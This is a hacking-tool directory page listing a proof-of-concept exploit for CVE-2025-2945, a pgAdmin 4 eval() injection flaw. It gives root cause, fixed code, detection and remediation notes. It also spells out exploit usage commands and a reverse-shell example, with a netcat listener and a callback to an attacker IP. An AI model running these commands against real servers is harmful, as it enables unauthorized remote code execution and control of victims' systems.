Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

PoC for CVE-2025-2945 — pgAdmin 4 authenticated eval() injection RCE, CVSS 9.9

View Repository
432 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    350
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-2945 — pgAdmin 4 Authenticated Query Tool RCE

CVSS 3.1: 9.9 (Critical) · Affects: pgAdmin 4 8.10 – 9.1 · Fixed in: 9.2 (April 4, 2025) CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection)

A proof-of-concept exploit for CVE-2025-2945, an authenticated remote code execution vulnerability in pgAdmin 4's Query Tool. A boolean transaction-state flag (query_commited) is passed directly into Python's eval() instead of being parsed as a boolean, allowing an authenticated user to execute arbitrary Python — and by extension, arbitrary OS commands — under the privileges of the pgAdmin service process. The same anti-pattern is present a second time in the Cloud Deployment module's Google provider (high_availability).

A full technical write-up covering root cause, exploitation logic, detection guidance, and remediation is available here: khashayarnazarkardeh.com — Field Notes


Vulnerability Summary

Vulnerable code (web/pgadmin/tools/sqleditor/__init__.py):

if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )

Fixed code (pgAdmin 9.2+):

query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

The vulnerability requires an authenticated pgAdmin session and a Query Tool transaction bound to a database server already registered in the target account. Both are common preconditions in real deployments, where pgAdmin is typically pre-configured with one or more saved server connections.

Requirements

  • Python 3.8+
  • A valid pgAdmin web account (--username / --password)
  • Credentials for a database server already registered in that pgAdmin account (--db-user / --db-password / --db-name)
  • Target running pgAdmin 4 between 8.10 and 9.1 (inclusive)

Installation

git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

Usage

python3 CVE-2025-2945.py \
    --host <target> --port 80 \
    --username <pgadmin-email> --password <pgadmin-password> \
    --db-user <db-user> --db-password <db-password> --db-name <db-name> \
    --cmd id

Payload modes (choose one)

FlagDescription
--cmd COMMANDRuns a single OS command via os.system()
--reverse-shell HOST:PORTSpawns a named-pipe reverse shell to a listener you control
--raw-payload EXPRPasses a raw Python expression directly to the vulnerable eval() sink

Example — reverse shell

# On your attack host, in a separate terminal:
nc -lvnp 4444

# Run the exploit:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

Full options

python3 CVE-2025-2945.py --help

Detection

Defenders should monitor for:

  • POST requests to /sqleditor/query_tool/download/<trans_id> or /cloud/deploy where query_commited / high_availability is anything other than a literal "true", "false", "1", or "0".
  • Python execution primitives (__import__, os.system, subprocess, eval, exec, open() appearing in either parameter.
  • Unexpected child processes spawned by the pgAdmin service account, particularly shell interpreters or network utilities.

Remediation

Upgrade to pgAdmin 4 9.2 or later. The patch is a minimal, low-risk boolean-coercion fix. Where immediate patching isn't possible, restrict network access to pgAdmin to trusted, authenticated networks, and disable the Cloud Deployment module for accounts that don't require it.

References

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • Fix commit — 75be0bc

Author

Khashayar Nazarkardeh — Cybersecurity & AI Security Leader khashayarnazarkardeh.com · @Khashayarnzk

Disclaimer

This tool is provided for authorized security testing, research, and educational purposes only. Running this against any system without explicit, documented authorization from the system owner is illegal in most jurisdictions. The author assumes no liability for misuse of this software. By using this script you agree that you are solely responsible for ensuring you have permission to test the target.

Download Tool